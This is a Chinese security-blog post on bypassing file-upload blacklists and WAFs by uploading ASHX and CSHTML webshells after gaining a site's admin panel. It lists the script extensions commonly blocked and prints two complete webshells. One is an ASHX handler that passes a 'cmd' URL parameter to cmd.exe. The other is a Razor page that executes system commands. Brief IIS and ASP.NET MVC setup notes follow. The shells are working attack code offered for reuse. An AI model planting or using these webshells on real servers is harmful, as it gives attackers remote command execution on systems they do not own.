声明:该公众号大部分文章来自作者日常学习笔记,也有少部分文章是经过原作者授权和其他公众号白名单转载,未经授权,严禁转载,如需转载,联系开白。
请勿利用文章内的相关技术从事非法测试,如因此产生的一切不良后果与文章作者和本公众号无关。
所有话题标签:
Web安全#漏洞复现#工具使用#权限提升
权限维持#防护绕过#内网安全#实战案例
其他笔记#资源分享#MSF
0x01 前言
我们通过SQL注入或弱口令等方式进入网站后台并找到上传地址,但是在上传Webshell时发现存在黑名单限制或者某些WAF防护时是无法成功的。
这时可以尝试使用ashx和cshtml脚本文件来绕过上传的黑名单限制。以前有看到过很多这样的绕过案例,所以将这个技巧记录在此,便于日后查询使用!
常见黑名单禁止上传脚本有:
asp、asa、cer、cdx、htr、stm;php、php4、php5、phtml;aspx、ashx、ascx;jsp、jspx、jspf;cfm、shtml;
0x02 Ashx Webshell
中国菜刀Ashx马:
https://github.com/tennc/webshell/blob/master/caidao-shell/customize.ashx
<% @ webhandler language="C#"class="AverageHandler"%>usingSystem;usingSystem.Web;usingSystem.Diagnostics;usingSystem.IO;publicclassAverageHandler:IHttpHandler{/ .Net requires this to be implemented /publicboolIsReusable{get{returntrue; }}/ main executing code /publicvoidProcessRequest(HttpContext ctx){Uri url =newUri(HttpContext.Current.Request.Url.Scheme +"://"+ HttpContext.Current.Request.Url.Authority + HttpContext.Current.Request.RawUrl);stringcommand = HttpUtility.ParseQueryString(url.Query).Get("cmd");ctx.Response.Write(" Command: ");ctx.Response.Write("
");ctx.Response.Write("
");/ command execution and output retrieval /ProcessStartInfo psi =newProcessStartInfo();psi.FileName ="cmd.exe";psi.Arguments ="/c "+command;psi.RedirectStandardOutput =true;psi.UseShellExecute =false;Process p = Process.Start(psi);StreamReader stmrdr = p.StandardOutput;strings = stmrdr.ReadToEnd();stmrdr.Close();ctx.Response.Write(System.Web.HttpUtility.HtmlEncode(s));ctx.Response.Write("");ctx.Response.Write("");ctx.Response.Write("By @Hypn, for educational purposes only.");}}
Ashx Webshell执行命令
0x03 Cshtml Webshell
@usingSystem.CodeDom.Compiler;@usingSystem.Diagnostics;@usingSystem.Reflection;@usingSystem.Web.Compilation;@functions{stringExecuteCommand(stringcommand,stringarguments=null){varoutput =newSystem.Text.StringBuilder();varprocess =newProcess();varstartInfo =newProcessStartInfo{FileName = command,Arguments =arguments,WorkingDirectory = HttpRuntime.AppDomainAppPath,RedirectStandardOutput =true,RedirectStandardError =true,UseShellExecute =false};process.StartInfo = startInfo;process.OutputDataReceived +=(sender, args) =>output.AppendLine(args.Data);process.ErrorDataReceived +=(sender, args) =>output.AppendLine(args.Data);process.Start();process.BeginOutputReadLine();process.BeginErrorReadLine();process.WaitForExit();returnoutput.ToString();}}@{varcmd = ExecuteCommand("cmd.exe","/c whoami");}Output of the injected command (by Niemand):@cmd
Cshtml Webshell执行命令
0x04 MVC4.0环境部署
本地测试环境为Windows2012 IIS8.5,默认已安装有.Net FrameWork 4.0,自己下载并安装ASP.NET MVC 4.0,将IIS中的“ISAPI和CGI限制”选项的“ASP.NET v4.0.0.30319”设置为允许,然后在网站根目录下创建一个web.config配置文件即可,内容如下:
.Net FrameWork 4.0下载地址:
https://www.microsoft.com/zh-CN/download/details.aspx?id=17851
ASP.NET MVC 4.0下载地址:
https://www.microsoft.com/zh-CN/download/details.aspx?id=30683
注:如果当前网站根目下没有web.config配置文件,或者没有指定.NET版本,在浏览器访问时可能就会出现以下报错信息。
没有web.config文件报错
没有指定.NET版本报错
只需在公众号回复“9527”即可领取一套HTB靶场学习文档和视频,“1120”领取安全参考等安全杂志PDF电子版,“1208”领取一份常用高效爆破字典,还在等什么?